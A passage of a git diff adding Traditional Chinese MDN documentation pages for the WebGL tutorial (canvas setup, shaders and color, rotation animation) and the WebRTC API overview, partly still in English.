+</pre>
+
+<p>第一步，我們先將畫布背景設定為黑色，並設定相機的視角。我們將角度設為45°，並設定成與畫布的長寬比相同。另外我們指定我們只要渲染離相機 0.1 ~ 100 單位遠的物件。</p>
+
+<p>接下來，我們讀入正方形的位置，並把它擺在離相機6單位遠的位置。然後我們將正方形頂點的 buffer 綁定到 gl 上。最後我們呼叫{{domxref("WebGLRenderingContext.drawArrays()", "drawArrays()")}}函數來渲染物件。</p>
+
+<p>{{EmbedGHLiveSample('webgl-examples/tutorial/sample2/index.html', 670, 510) }}</p>
+
+<p><a href="https://github.com/mdn/webgl-examples/tree/gh-pages/tutorial/sample2">檢視完整程式碼</a> | <a href="http://mdn.github.io/webgl-examples/tutorial/sample2/">開啟新頁面來檢視結果</a></p>
+
+<h2 id="矩陣運算">矩陣運算</h2>
+
+<p>矩陣的運算看起來很複雜，但其實<a href="https://webglfundamentals.org/webgl/lessons/webgl-2d-matrices.html">一步一步運算其實不會那麼困難</a>。大部分使用者不會寫自己的運算函數，多半是使用現成的矩陣函數庫，這個例子中我們用的是 <a href="http://glmatrix.net/">glMatrix library</a> 。</p>
+
+<p>可參考以下資料</p>
+
+<ul>
+ <li><a href="https://webglfundamentals.org/webgl/lessons/webgl-2d-matrices.html">Matrices</a> on WebGLFundamentals</li>
+ <li><a class="external" href="http://mathworld.wolfram.com/Matrix.html">Matrices</a> on Wolfram MathWorld</li>
+ <li><a class="external" href="http://en.wikipedia.org/wiki/Matrix_(mathematics)">Matrix</a> on Wikipedia</li>
+</ul>
+
+<p>{{PreviousNext("Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL", "Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL")}}</p>
diff --git a/files/zh-tw/web/api/webgl_api/tutorial/animating_objects_with_webgl/index.html b/files/zh-tw/web/api/webgl_api/tutorial/animating_objects_with_webgl/index.html
new file mode 100644
index 0000000000..cea74d65cf
--- /dev/null
+++ b/files/zh-tw/web/api/webgl_api/tutorial/animating_objects_with_webgl/index.html
@@ -0,0 +1,55 @@
+---
+title: 利用 WebGL 產生動畫
+slug: Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL
+translation_of: Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL
+---
+<p>{{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL", "Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL") }}</p>
+
+<p>這個章節中，我們將示範如何旋轉之前的正方形平面。</p>
+
+<h2 id="旋轉正方形">旋轉正方形</h2>
+
+<p>首先我們需要宣告一個變數來追蹤現在正方形旋轉的角度:</p>
+
+<pre class="brush: js">var squareRotation = 0.0;
+</pre>
+
+<p>Now we need to update the <code>drawScene()</code> function to apply the current rotation to the square when drawing it. After translating to the initial drawing position for the square, we apply the rotation like this:</p>
+
+<pre class="brush: js">  mat4.rotate(modelViewMatrix,  // destination matrix
+              modelViewMatrix,  // matrix to rotate
+              squareRotation,   // amount to rotate in radians
+              [0, 0, 1]);       // axis to rotate around
+</pre>
+
+<p>This rotates the modelViewMatrix by the current value of <code>squareRotation</code>, around the Z axis.</p>
+
+<p>To actually animate, we need to add code that changes the value of <code>squareRotation</code> over time. We can do that by creating a new variable to track the time at which we last animated (let's call it <code>then</code>), then adding the following code to the end of the main function</p>
+
+<pre class="brush: js">  var then = 0;
+
+  // Draw the scene repeatedly
+  function render(now) {
+    now *= 0.001;  // convert to seconds
+    const deltaTime = now - then;
+    then = now;
+
+    drawScene(gl, programInfo, buffers, deltaTime);
+
+    requestAnimationFrame(render);
+  }
+  requestAnimationFrame(render);
+</pre>
+
+<p>This code uses <code>requestAnimationFrame</code> to ask the browser call the function "<code>render</code>" each frame. <code>requestAnimationFrame</code> passes us the time in milliseconds since the page loaded. We convert that to seconds and then subtract it from the last time to compute <code>deltaTime</code> which is the number of second since the last frame was rendered. At the end of drawscene we add the code to update <code>squareRotation.</code></p>
+
+<pre class="brush: js"><code>  squareRotation += deltaTime;</code>
+</pre>
+
+<p>This code uses the amount of time that's passed since the last time we updated the value of <code>squareRotation</code> to determine how far to rotate the square.</p>
+
+<p>{{EmbedGHLiveSample('webgl-examples/tutorial/sample4/index.html', 670, 510) }}</p>
+
+<p><a href="https://github.com/mdn/webgl-examples/tree/gh-pages/tutorial/sample4">View the complete code</a> | <a href="http://mdn.github.io/webgl-examples/tutorial/sample4/">Open this demo on a new page</a></p>
+
+<p>{{PreviousNext("Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL", "Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL") }}</p>
diff --git a/files/zh-tw/web/api/webgl_api/tutorial/getting_started_with_webgl/index.html b/files/zh-tw/web/api/webgl_api/tutorial/getting_started_with_webgl/index.html
new file mode 100644
index 0000000000..ef5e910f93
--- /dev/null
+++ b/files/zh-tw/web/api/webgl_api/tutorial/getting_started_with_webgl/index.html
@@ -0,0 +1,73 @@
+---
+title: WebGL 入門
+slug: Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL
+tags:
+  - WebGL
+  - 教學
+translation_of: Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL
+---
+<p>{{WebGLSidebar("Tutorial")}} {{Next("Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context")}}</p>
+
+<p><a href="http://www.khronos.org/webgl/" title="http://www.khronos.org/webgl/">WebGL</a> 讓網頁內容能藉由一種基於 <a href="http://www.khronos.org/opengles/" title="http://www.khronos.org/opengles/">OpenGL ES</a> 2.0 的 API 的幫助，於支援此 API 的瀏覽器環境中，不需使用外掛程式就能在HTML的 <a href="https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API"><code>canvas</code></a> 元素中實現二維及三維渲染。 WebGL 程式包含了由 JavaSrcipt 及著色器(GLSL)撰寫的控制碼以及在電腦的圖形處理器( GPU )上執行的特效程式碼(著色器程式碼)。WebGL 元素可以加入其他 HTML 元素之中並與網頁或網頁背景的其他部分混合。</p>
+
+<p>這篇文章將會向您介紹 WebGL 的基礎。這篇文章假設您已經對於三維圖學涉及的數學有所了解，並且它將不會被佯裝為三維圖學的教材。在我們的學習區域內有初學者指南讓你完成編程任務：<a href="https://developer.mozilla.org/zh-TW/docs/Learn/WebGL">Learn WebGL for 2D and 3D graphics</a>.</p>
+
+<p>在此教學文件中的程式碼範例都能在 <a href="https://github.com/mdn/webgl-examples/tree/gh-pages/tutorial">webgl-examples GitHub repository</a> 之中找到。</p>
+
+<h2 id="準備三維渲染">準備三維渲染</h2>
+
+<p>首先你需要一個 canvas 元素讓WebGL進行渲染。下面的 HTML 定義的 canvas 元素供後續的範例繪製。</p>
+
+<pre class="brush: html">&lt;body&gt;
+  &lt;canvas id="glCanvas" width="640" height="480"&gt;&lt;/canvas&gt;
+&lt;/body&gt;</pre>
+
+<h3 id="準備_WebGL背景資料">準備 WebGL背景資料</h3>
+
+<div class="note">
+<p>背景資料為Context翻譯而來</p>
+</div>
+
+<p>在下面的JavaScript 程式碼，當指令完成讀取後會執行 <code>main()</code> 函式。目的是為了設定 WebGL 背景資料並且開始渲染內容。</p>
+
+<pre class="brush: js">main();
+
+// 從這開始
+function main() {
+  const canvas = document.querySelector("#glCanvas");
+  // 初始化 GL context
+  const gl = canvas.getContext("webgl");
+
+  // 當 WebGL 有效才繼續執行
+  if (gl === null) {
+    alert("無法初始化 WebGL，您的瀏覽器不支援。");
+    return;
+  }
+
+  // 設定清除色彩為黑色，完全不透明
+  gl.clearColor(0.0, 0.0, 0.0, 1.0);
+  // 透過清除色來清除色彩緩衝區
+  gl.clear(gl.COLOR_BUFFER_BIT);
+}</pre>
+
+<p>在此我們做的第一件事是取得 canvas 元素的參考，並存入 canvas 變數中。</p>
+
+<p>一旦我們取得了 canvas ，我們透過呼叫 <a href="https://developer.mozilla.org/zh-TW/docs/Web/API/HTMLCanvasElement/getContext">getContext</a> 並傳入 <code>"webgl"</code> 字串來取得 <a href="https://developer.mozilla.org/zh-TW/docs/Web/API/WebGLRenderingContext">WebGLRenderingContext</a>。若瀏覽器不支援 webgl <code>getContext</code> 會回傳 <code>null</code> 同時會顯示訊息給使用者並且離開。</p>
+
+<p>如果成功初始化， <code>gl</code> 就會成為一個 WebGL背景資料的參考。在這裡我們設置清除色為黑色，並透過該色清除 context (用背景色重新繪製 canvas )。</p>
+
+<p>至此，您已經有足夠初始化 WebGL 背景資料的程式碼，並且準備好了等待接收內容的容器。</p>
+
+<p>{{EmbedGHLiveSample('webgl-examples/tutorial/sample1/index.html', 670, 510) }}</p>
+
+<p><a href="https://github.com/mdn/webgl-examples/tree/gh-pages/tutorial/sample1">檢視完整程式碼</a> | <a href="http://mdn.github.io/webgl-examples/tutorial/sample1/">開啟新頁面來檢視結果</a></p>
+
+<h2 id="亦可參考">亦可參考</h2>
+
+<ul>
+ <li><a href="https://dev.opera.com/articles/introduction-to-webgl-part-1/">An introduction to WebGL</a>: 由 Luz Caballero 撰寫，並出版在 dev.opera.com。 這篇文章點出了 WebGL 的意義，解釋了其運作(包含渲染管路的觀念)，並介紹了一些 WebGL libraries。</li>
+ <li><a href="http://webglfundamentals.org/">WebGL Fundamentals</a></li>
+ <li><a href="http://duriansoftware.com/joe/An-intro-to-modern-OpenGL.-Table-of-Contents.html">An intro to modern OpenGL:</a> 由 Joe Groff 撰寫的一系列關於 OpenGL 的好文章，提供了 OpenGL清楚的簡介，從其歷史到重要的圖像管路概念，以及一些展示其原理的範例。如果您完全不懂OpenGL，這將是一個好的入門介紹。</li>
+</ul>
+
+<p>{{Next("Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context")}}</p>
diff --git a/files/zh-tw/web/api/webgl_api/tutorial/index.html b/files/zh-tw/web/api/webgl_api/tutorial/index.html
new file mode 100644
index 0000000000..549c3f40ba
--- /dev/null
+++ b/files/zh-tw/web/api/webgl_api/tutorial/index.html
@@ -0,0 +1,41 @@
+---
+title: WebGL tutorial
+slug: Web/API/WebGL_API/Tutorial
+tags:
+  - TopicStub
+  - Tutorial
+  - WebGL
+translation_of: Web/API/WebGL_API/Tutorial
+---
+<div>{{WebGLSidebar}}</div>
+
+<div class="summary">
+<p><a class="external" href="http://www.khronos.org/webgl/" title="http://www.khronos.org/webgl/">WebGL</a> 讓網頁內容可以使用一個基於 <a class="external" href="http://www.khronos.org/opengles/" title="http://www.khronos.org/opengles/">OpenGL ES</a> 2.0 的API以在HTML {{HTMLElement("canvas")}}中執行3D渲染，且瀏覽器無需使用任何plug-in。WebGL programs 由JavaScript撰寫的指令碼以及透過電腦的Graphics Processing Unit (GPU)上運行的特殊效果程式碼(shader code)組成。WebGL元件可與其他HTML元件混合，並與該頁的其他部分或該頁背景組合使用。 </p>
+</div>
+
+<p><span class="seoSummary">本教學描述如何使用 <code>&lt;canvas&gt;</code> 元件描繪 WebGL 圖像/圖形, 從基礎開始。提供的範例將讓你對於可以用WebGL做到什麼有清楚的概念，並提供程式碼片段讓你可以著手建立自己的內容。</span></p>
+
+<h2 id="開始之前">開始之前</h2>
+
+<p>使用<code>&lt;canvas&gt;</code> 元件不會非常困難，但你需要有對<a href="/en-US/docs/Web/HTML" title="HTML">HTML</a> 與 <a href="/en-US/docs/Web/JavaScript" title="JavaScript">JavaScript</a> 的基礎認識。<code>&lt;canvas&gt;</code> 元件跟WebGL在某些舊瀏覽器中不支援，但近來的每個主流瀏覽器都有支援。我們用 JavaScript context object 在canvas繪製圖形，這樣圖形就能動態(on the fly)產生。</p>
+
+<h2 id="教學文件">教學文件</h2>
+
+<dl>
+ <dt><a href="/Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL">WebGL新手上路</a></dt>
+ <dd>如何建置 WebGL 環境</dd>
+ <dt><a href="/Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context">加入2D內容至WebGL環境</a></dt>
+ <dd>如何用 WebGL 渲染簡單平面的形狀</dd>
+ <dt><a href="/zh-TW/docs/Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL">使用 shaders 在 WebGL 上色</a></dt>
+ <dd>示範如何使用 shaders 在圖形上上色</dd>
+ <dt><a href="/zh-TW/docs/Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL">WebGL 產生動畫</a></dt>
+ <dd>示範如何旋轉與移動物件以製作簡單的動畫</dd>
+ <dt><a href="/en-US/docs/Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL">建立三維物件</a></dt>
+ <dd>示範如何創造並讓 3D 物件(立方體)有動畫</dd>
+ <dt><a href="/en-US/docs/Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL">在物件表面貼上材質</a></dt>
+ <dd>示範如何在物件的表面上貼上材質圖</dd>
+ <dt><a href="/en-US/docs/Web/API/WebGL_API/Tutorial/Lighting_in_WebGL">模擬打光</a></dt>
+ <dd>如何在 WebGL 環境模擬打光效果</dd>
+ <dt><a href="/en-US/docs/Web/API/WebGL_API/Tutorial/Animating_textures_in_WebGL">讓材質產生動畫</a></dt>
+ <dd>如何移動材質圖，在範例中是將 Ogg 影片 貼到一個旋轉中的立方體</dd>
+</dl>
diff --git a/files/zh-tw/web/api/webgl_api/tutorial/using_shaders_to_apply_color_in_webgl/index.html b/files/zh-tw/web/api/webgl_api/tutorial/using_shaders_to_apply_color_in_webgl/index.html
new file mode 100644
index 0000000000..b234bd013e
--- /dev/null
+++ b/files/zh-tw/web/api/webgl_api/tutorial/using_shaders_to_apply_color_in_webgl/index.html
@@ -0,0 +1,123 @@
+---
+title: 使用 shaders 在 WebGL 上色
+slug: Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL
+translation_of: Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL
+---
+<p>{{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context", "Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL")}}</p>
+
+<p><a href="/zh-TW/docs/Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context">上一篇</a>我們建立了一個正方形平面，接下來我們要透過修改 shakder 來加入顏色。</p>
+
+<h2 id="指定頂點顏色">指定頂點顏色</h2>
+
+<p>WebGL中物件是由許多頂點來組成，每個頂點有自己的座標、顏色。其他像素的屬性(顏色、位置)預設是透過計算多頂點的內差值來得到的。之前的例子，vertex shader 並沒有指定頂點任何顏色。</p>
+
+<p>In WebGL, objects are built using sets of vertices, each of which has a position and a color; by default, all other pixels' colors (and all its other attributes, including position) are computed using interpolation, automatically creating smooth gradients. Previously, our vertex shader didn't apply any specific colors to the vertices; between this and the fragment shader assigning the fixed color of white to each pixel, the entire square was rendered as solid white.</p>
+
+<p>Let's say we want to render a gradient in which each corner of the square is a different color: red, blue, green, and white. The first thing to do is to establish these colors for the four vertices. To do this, we first need to create an array of vertex colors, then store it into a WebGL buffer; we'll do that by adding the following code to our <code>initBuffers()</code> function:</p>
+
+<pre class="brush: js">  const colors = [
+    1.0,  1.0,  1.0,  1.0,    // white
+    1.0,  0.0,  0.0,  1.0,    // red
+    0.0,  1.0,  0.0,  1.0,    // green
+    0.0,  0.0,  1.0,  1.0,    // blue
+  ];
+
+  const colorBuffer = gl.createBuffer();
+  gl.bindBuffer(gl.ARRAY_BUFFER, colorBuffer);
+  gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(colors), gl.STATIC_DRAW);
+
+  return {
+    position: positionBuffer,
+    color: colorBuffer,
+  };
+}
+</pre>
+
+<p>這段程式碼一開始先宣告一個陣列來存放四個四維向量，分別為四個頂點的顏色。接下來，將陣列轉型為浮點數並存入一個新的 WebGL buffer 。</p>
+
+<p>為了使用這些顏色，我們需要修改 vertex shader，讓他可以從 buffer 中取得正確的顏色。</p>
+
+<pre class="brush: html">  const vsSource = `
+    attribute vec4 aVertexPosition;
+    attribute vec4 aVertexColor;
+
+    uniform mat4 uModelViewMatrix;
+    uniform mat4 uProjectionMatrix;
+
+    varying lowp vec4 vColor;
+
+    void main(void) {
+      gl_Position = uProjectionMatrix * uModelViewMatrix * aVertexPosition;
+      vColor = aVertexColor;
+    }
+  `;
+</pre>
+
+<p>The key difference here is that for each vertex, we pass its color using a <code>varying</code> to the fragment shader.</p>
+
+<h2 id="替_fragment_上色">替 fragment 上色</h2>
+
+<p>我們重新回顧一下，<a href="/zh-TW/docs/Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context">之前</a>我們的 fragment shader 如下：</p>
+
+<pre class="brush: html">  const fsSource = `
+    void main() {
+      gl_FragColor = vec4(1.0, 1.0, 1.0, 1.0);
+    }
+  `;
+</pre>
+
+<p>為了要讓每個 pixel 使用內插的顏色，我們讓 <code>gl_FragColor</code> 取得 vColor的值。</p>
+
+<pre class="brush: html">  const fsSource = `
+    varying lowp vec4 vColor;
+
+    void main(void) {
+      gl_FragColor = vColor;
+    }
+  `;
+</pre>
+
+<p>這樣的改變可以使每個 fragment 得到利用相對位置內插法所產生顏色，而不是得到一個固定的值。</p>
+
+<h2 id="畫出顏色">畫出顏色</h2>
+
+<p>接下來我們要</p>
+
+<p>Next, it's necessary to add the code look up the attribute location for the colors and setup that attribute for the shader program:</p>
+
+<pre class="brush: js">  const programInfo = {
+    program: shaderProgram,
+    attribLocations: {
+      vertexPosition: gl.getAttribLocation(shaderProgram, 'aVertexPosition'),
+      vertexColor: gl.getAttribLocation(shaderProgram, 'aVertexColor'),
+    },
+    ...</pre>
+
+<p>Then, drawScene() can be revised to actually use these colors when drawing the square:</p>
+
+<pre class="brush: js">  // Tell WebGL how to pull out the colors from the color buffer
+  // into the vertexColor attribute.
+  {
+    const numComponents = 4;
+    const type = gl.FLOAT;
+    const normalize = false;
+    const stride = 0;
+    const offset = 0;
+    gl.bindBuffer(gl.ARRAY_BUFFER, buffers.color);
+    gl.vertexAttribPointer(
+        programInfo.attribLocations.vertexColor,
+        numComponents,
+        type,
+        normalize,
+        stride,
+        offset);
+    gl.enableVertexAttribArray(
+        programInfo.attribLocations.vertexColor);
+  }
+</pre>
+
+<p>{{EmbedGHLiveSample('webgl-examples/tutorial/sample3/index.html', 670, 510) }}</p>
+
+<p><a href="https://github.com/mdn/webgl-examples/tree/gh-pages/tutorial/sample3">View the complete code</a> | <a href="http://mdn.github.io/webgl-examples/tutorial/sample3/">Open this demo on a new page</a></p>
+
+<p>{{PreviousNext("Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context", "Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL")}}</p>
diff --git a/files/zh-tw/web/api/webrtc_api/index.html b/files/zh-tw/web/api/webrtc_api/index.html
new file mode 100644
index 0000000000..1731f23739
--- /dev/null
+++ b/files/zh-tw/web/api/webrtc_api/index.html
@@ -0,0 +1,193 @@
+---
+title: WebRTC API
+slug: Web/API/WebRTC_API
+translation_of: Web/API/WebRTC_API
+---
+<div>{{APIRef("WebRTC")}}</div>
+
+<p><span class="seoSummary"><strong>WebRTC</strong>（網路即時通訊技術）是一個提供 Web 應用程式及網站進行錄影或隨選播放串流音訊與影像的技術，可以直接使用瀏覽器進行資料交換而無須透過中介服務。</span>作為一個標準規格，WebRTC 可以提供任何瀏覽器在不需要安裝外掛程式或第三方軟體下，分享應用程式的資料和進行電話會議。</p>
+
+<p>WebRTC 由數個相關而互相協作的API以及網路協定組成。</p>
+
+<p>這裡的技術文件會幫助你了解 :</p>
+
+<p>WebRTC的基本構成，如何設置並同時使用其資料與媒體傳輸連線，以及更多有關資訊。</p>
+
+<h2 id="WebRTC_概念與使用">WebRTC 概念與使用</h2>
+
+<p>WebRTC 有許多服務目的，基本涵括了媒體獲取與串流API，他們為網頁提供了強大的多媒體功能，包括: 音視訊會議，檔案傳輸，身分識別管理，以及提供以傳輸{{Glossary("DTMF")}}訊號來與現存電話系統交互的介面。</p>
+
+<p>建立端點與端點間的連線完全不需要特定驅動程式抑或者第三方插件，在通常情況下也不需要任何中介伺服器</p>
+
+<p>WebRTC serves multiple purposes, and overlaps substantially with the Media Capture and Streams API. Together, they provide powerful multimedia capabilities to the Web, including support for audio and video conferencing, file exchange, identity management, and interfacing with legacy telephone systems by sending {{Glossary("DTMF")}} signals. Connections between peers can be made without requiring any special drivers or plug-ins, and can often be made without any intermediary servers.</p>
+
+<p>Connections between two peers are created using—and represented by—the {{domxref("RTCPeerConnection")}} interface. Once a connection has been established and opened, media streams ({{domxref("MediaStream")}}s) and/or data channels ({{domxref("RTCDataChannel")}}s) can be added to the connection.</p>
+
+<p>Media streams can consist of any number of tracks of media information; tracks, which are represented by objects based on the {{domxref("MediaStreamTrack")}} interface, may contain one of a number of types of media data, including audio, video, and text (such as subtitles or even chapter names). Most streams consist of at least one audio track and likely also a video track, and can be used to send and receive both live media or stored media information (such as a streamed movie).</p>
+
+<p>You can also use the connection between two peers to exchange arbitrary binary data using the {{domxref("RTCDataChannel")}} interface. This can be used for back-channel information, metadata exchange, game status packets, file transfers, or even as a primary channel for data transfer.</p>
+
+<p><em><strong>more details and links to relevant guides and tutorials needed</strong></em></p>
+
+<h2 id="WebRTC_interfaces">WebRTC interfaces</h2>
+
+<p>Because WebRTC provides interfaces that work together to accomplish a variety of tasks, we have divided up the interfaces in the list below by category. Please see the sidebar for an alphabetical list.</p>
+
+<h3 id="Connection_setup_and_management">Connection setup and management</h3>
+
+<p>These interfaces are used to set up, open, and manage WebRTC connections.</p>
+
+<dl>
+ <dt>{{domxref("RTCPeerConnection")}}</dt>
+ <dd>Represents a WebRTC connection between the local computer and a remote peer. It is used to handle efficient streaming of data between the two peers.</dd>
+ <dt>{{domxref("RTCDataChannel")}}</dt>
+ <dd>Represents a bi-directional data channel between two peers of a connection.</dd>
+ <dt>{{domxref("RTCDataChannelEvent")}}</dt>
+ <dd>Represents events that occur while attaching a {{domxref("RTCDataChannel")}} to a {{domxref("RTCPeerConnection")}}. The only event sent with this interface is {{event("datachannel")}}.</dd>
+ <dt>{{domxref("RTCSessionDescription")}}</dt>
+ <dd>Represents the parameters of a session. Each <code>RTCSessionDescription</code> consists of a description <a href="/en-US/docs/Web/API/RTCSessionDescription/type" title="The property RTCSessionDescription.type is an enum of type RTCSdpType describing the description's type."><code>type</code></a> indicating which part of the offer/answer negotiation process it describes and of the <a href="/en-US/docs/Glossary/SDP" title="SDP: SDP (Session Description Protocol) is the standard describing a peer-to-peer connection. SDP contains the codec, source address, and timing information of audio and video.">SDP</a> descriptor of the session.</dd>
+ <dt>{{domxref("RTCStatsReport")}}</dt>
+ <dd>Provides information detailing statistics for a connection or for an individual track on the connection; the report can be obtained by calling {{domxref("RTCPeerConnection.getStats()")}}.</dd>
+ <dt>{{domxref("RTCIceCandidate")}}</dt>
+ <dd>Represents a candidate internet connectivity establishment (ICE) server for establishing an {{domxref("RTCPeerConnection")}}.</dd>
+ <dt>{{domxref("RTCIceTransport")}}</dt>
+ <dd>Represents information about an internet connectivity establishment (ICE) transport.</dd>
+ <dt>{{domxref("RTCPeerConnectionIceEvent")}}</dt>
+ <dd>Represents events that occurs in relation to ICE candidates with the target, usually an {{domxref("RTCPeerConnection")}}. Only one event is of this type: {{event("icecandidate")}}.</dd>
+ <dt>{{domxref("RTCRtpSender")}}</dt>
+ <dd>Manages the encoding and transmission of data for a {{domxref("MediaStreamTrack")}} on an {{domxref("RTCPeerConnection")}}.</dd>
+ <dt>{{domxref("RTCRtpReceiver")}}</dt>
+ <dd>Manages the reception and decoding of data for a {{domxref("MediaStreamTrack")}} on an {{domxref("RTCPeerConnection")}}.</dd>
+ <dt>{{domxref("RTCTrackEvent")}}</dt>
+ <dd>Indicates that a new incoming {{domxref("MediaStreamTrack")}} was created and an associated {{domxref("RTCRtpReceiver")}} object was added to the {{domxref("RTCPeerConnection")}} object.</dd>
+</dl>
+
+<h3 id="Identity_and_security">Identity and security</h3>
+
+<p>The WebRTC API includes a number of interfaces to manage security and identity.</p>
+
+<dl>
+ <dt>{{domxref("RTCIdentityProvider")}}</dt>
+ <dd>Enables a user agent is able to request that an identity assertion be generated or validated.</dd>
+ <dt>{{domxref("RTCIdentityAssertion")}}</dt>
+ <dd>Represents the identity of the a remote peer of the current connection. If no peer has yet been set and verified this interface returns <code>null</code>. Once set it can't be changed.</dd>
+ <dt>{{domxref("RTCIdentityProviderRegistrar")}}</dt>
+ <dd>Registers an  identity provider (idP).</dd>
+ <dt>{{domxref("RTCIdentityEvent")}}</dt>
+ <dd>Represents an identity assertion generated by an identity provider (idP). This is usually for an {{domxref("RTCPeerConnection")}}. The only event sent with this type is {{event("identityresult")}}.</dd>
+ <dt>{{domxref("RTCIdentityErrorEvent")}}</dt>
+ <dd>Represents an error associated with the identity provider (idP). This is usually for an {{domxref("RTCPeerConnection")}}. Two events are sent with this type: {{event("idpassertionerror")}} and {{event("idpvalidationerror")}}.</dd>
+ <dt>{{domxref("RTCCertificate")}}</dt>
+ <dd>Represents a certificate that an {{domxref("RTCPeerConnection")}} uses to authenticate.</dd>
+</dl>
+
+<h3 id="Telephony">Telephony</h3>
+
+<p>These interfaces are related to interactivity with public-switched telephone networks (PTSNs).</p>
+
+<dl>
+ <dt>{{domxref("RTCDTMFSender")}}</dt>
+ <dd>Manages the encoding and transmission of dual-tone multi-frequency (DTMF) signaling for an {{domxref("RTCPeerConnection")}}.</dd>
+ <dt>{{domxref("RTCDTMFToneChangeEvent")}}</dt>
+ <dd>Indicates an occurrence of a of dual-tone multi-frequency (DTMF). This event does not bubble (except where otherwise stated) and is not cancelable (except where otherwise stated).</dd>
+</dl>
+
+<h2 id="Guides">Guides</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/API/WebRTC_API/Protocols">Introduction to WebRTC protocols</a></dt>
+ <dd>This article introduces the protocols on top of which the WebRTC API is built.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebRTC_API/Connectivity">WebRTC connectivity</a></dt>
+ <dd>A guide to how WebRTC connections work and how the various protocols and interfaces can be used together to build powerful communication apps.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebRTC_API/Session_lifetime">Lifetime of a WebRTC session</a></dt>
+ <dd>WebRTC lets you build peer-to-peer communication of arbitrary data, audio, or video—or any combination thereof—into a browser application. In this article, we'll look at the lifetime of a WebRTC session, from establishing the connection all the way through closing the connection when it's no longer needed.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebRTC_API/Signaling_and_video_calling">Signaling and two-way video calling</a></dt>
+ <dd>A tutorial and example which turbs a WebSocket-based chat system created for a previous example and adds support for opening video calls among participants. The chat server's WebSocket connection is used for WebRTC signaling.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebRTC_API/Using_data_channels">Using WebRTC data channels</a></dt>
+ <dd>This guide covers how you can use a peer connection and an associated {{domxref("RTCDataChannel")}} to exchange arbitrary data between two peers.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebRTC_API/Using_DTMF">Using DTMF with WebRTC</a></dt>
+ <dd>WebRTC's support for interacting with gateways that link to old-school telephone systems includes support for sending DTMF tones using the {{domxref("RTCDTMFSender")}} interface. This guide shows how to do so.</dd>
+</dl>
+
+<h2 id="教學">教學</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/API/WebRTC_API/adapter.js">Improving compatibility using WebRTC adapter.js</a></dt>
+ <dd>The WebRTC organization <a href="https://github.com/webrtc/adapter/">provides on GitHub the WebRTC adapter</a> to work around compatibility issues in different browsers' WebRTC implementations. The adapter is a JavaScript shim which lets your code to be written to the specification so that it will "just work" in all browsers with WebRTC support.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebRTC_API/Taking_still_photos">Taking still photos with WebRTC</a></dt>
+ <dd>This article shows how to use WebRTC to access the camera on a computer or mobile phone with WebRTC support and take a photo with it.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebRTC_API/Simple_RTCDataChannel_sample">一個簡單的 RTCDataChannel 範例</a></dt>
+ <dd>{{domxref("RTCDataChannel")}} 介面用於讓兩端點間建立起資料的通道，你可以利用通道來收發資料。這組 API 被設計成與 <a href="/en-US/docs/Web/API/WebSocket_API">WebSocket API</a> 相似，所以可以利用同樣的程式模型套用在這兩套 API 之上。</dd>
+</dl>
+
+<h2 id="資源">資源</h2>
+
+<h3 id="Protocols">Protocols</h3>
+
+<h4 id="WebRTC-proper_protocols">WebRTC-proper protocols</h4>
+
+<ul>
+ <li><a href="http://datatracker.ietf.org/doc/draft-ietf-rtcweb-alpn/"><cite>Application Layer Protocol Negotiation for Web Real-Time Communications</cite></a></li>
+ <li><a href="http://datatracker.ietf.org/doc/draft-ietf-rtcweb-audio/"><cite>WebRTC Audio Codec and Processing Requirements</cite></a></li>
+ <li><a href="http://datatracker.ietf.org/doc/draft-ietf-rtcweb-data-channel/"><cite>RTCWeb Data Channels</cite></a></li>
+ <li><a href="http://datatracker.ietf.org/doc/draft-ietf-rtcweb-data-protocol/"><cite>RTCWeb Data Channel Protocol</cite></a></li>
+ <li><a href="http://datatracker.ietf.org/doc/draft-ietf-rtcweb-rtp-usage/"><cite>Web Real-Time Communication (WebRTC): Media Transport and Use of RTP</cite></a></li>
+ <li><a href="http://datatracker.ietf.org/doc/draft-ietf-rtcweb-security-arch/"><cite>WebRTC Security Architecture</cite></a></li>
+ <li><a href="http://datatracker.ietf.org/doc/draft-ietf-rtcweb-transports/"><cite>Transports for RTCWEB</cite></a></li>
+</ul>
+
+<h4 id="Related_supporting_protocols">Related supporting protocols</h4>
+
+<ul>
+ <li><a href="https://tools.ietf.org/html/rfc5245">Interactive Connectivity Establishment (ICE): A Protocol for Network Address Translator (NAT) Traversal for Offer/Answer Protocol</a></li>
